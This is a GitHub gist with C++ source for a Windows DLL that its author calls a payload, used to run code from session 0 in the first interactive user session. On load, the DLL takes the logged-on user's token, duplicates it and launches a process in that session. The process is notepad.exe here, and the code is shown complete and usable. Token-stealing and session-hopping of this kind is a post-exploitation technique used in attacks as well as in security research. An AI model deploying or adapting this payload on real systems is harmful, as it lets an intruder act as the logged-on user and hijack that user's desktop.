Created
September 10, 2020 22:01
-
-
Save hugsy/daa04d3d1298dc6904a091a63d176aa4 to your computer and use it in GitHub Desktop.
dll payload to execute code from session 0 to first interactive session
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <wtsapi32.h> | |
#include <Userenv.h> | |
#include <TlHelp32.h> | |
#include <Lmcons.h> | |
#include <iostream> | |
#pragma comment(lib, "Wtsapi32.lib") | |
#pragma comment(lib, "Userenv.lib") | |
#pragma comment(lib, "Advapi32.lib") | |
#pragma comment(lib, "user32.lib") | |
/** | |
* | |
* dll to run a command in a different (interactive) session | |
* typically for sess0 -> sess2 | |
* | |
**/ | |
DWORD FindFirstActiveSession() | |
{ | |
PWTS_SESSION_INFOW Sessions; | |
DWORD SessionCount = 0; | |
DWORD dwSessId = (DWORD)-1; | |
auto bRes = ::WTSEnumerateSessionsW(WTS_CURRENT_SERVER_HANDLE, 0, 1, &Sessions, &SessionCount); | |
if (!bRes) | |
return false; | |
for(auto i=0; i<SessionCount; i++) | |
{ | |
if(Sessions[i].State == WTSActive) | |
{ | |
dwSessId = Sessions[i].SessionId; | |
break; | |
} | |
} | |
::WTSFreeMemory(Sessions); | |
return dwSessId; | |
} | |
void RunProcessInInteractiveSession() | |
{ | |
std::wstring CommandLine = L"c:\\windows\\system32\\notepad.exe"; | |
do | |
{ | |
HANDLE hLoggedOnUserPrimaryToken = nullptr; | |
HANDLE hDuplicatedToken = nullptr; | |
LPVOID lpEnvironment = nullptr; | |
DWORD ActiveSessionId = FindFirstActiveSession(); | |
if (ActiveSessionId == -1) | |
break; | |
auto bRes = ::WTSQueryUserToken(ActiveSessionId, &hLoggedOnUserPrimaryToken); | |
if (!bRes) | |
break; | |
bRes = ::DuplicateTokenEx( | |
hLoggedOnUserPrimaryToken, | |
TOKEN_ALL_ACCESS, | |
nullptr, | |
SecurityImpersonation, | |
//SecurityIdentification, | |
TokenPrimary, | |
&hDuplicatedToken | |
); | |
::CloseHandle(hLoggedOnUserPrimaryToken); | |
if (!bRes) | |
break; | |
bRes = ::SetTokenInformation(hDuplicatedToken, TokenSessionId, &ActiveSessionId, sizeof(ActiveSessionId)); | |
if(!bRes) | |
break; | |
bRes = ::CreateEnvironmentBlock(&lpEnvironment, hDuplicatedToken, false); | |
if(!bRes) | |
break; | |
PROCESS_INFORMATION pi = {0,}; | |
STARTUPINFOEX si = {0,}; | |
si.StartupInfo.cb = sizeof(STARTUPINFOW); | |
bRes = ::CreateProcessAsUserW( | |
hDuplicatedToken, | |
nullptr, | |
(LPWSTR)CommandLine.c_str(), | |
nullptr, | |
nullptr, | |
false, | |
CREATE_NEW_CONSOLE, | |
nullptr, | |
::_wgetenv(L"USERPROFILE"), | |
(LPSTARTUPINFOW)&si, | |
&pi | |
); | |
if(!bRes) | |
break; | |
::CloseHandle(pi.hProcess); | |
::CloseHandle(pi.hThread); | |
} | |
while(false); | |
} | |
__declspec(dllexport) extern "C" void DllRun() | |
{ | |
RunProcessInInteractiveSession(); | |
} | |
extern "C" BOOL APIENTRY DllMain( | |
HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
DllRun(); | |
break; | |
case DLL_THREAD_ATTACH: | |
case DLL_PROCESS_DETACH: | |
case DLL_THREAD_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment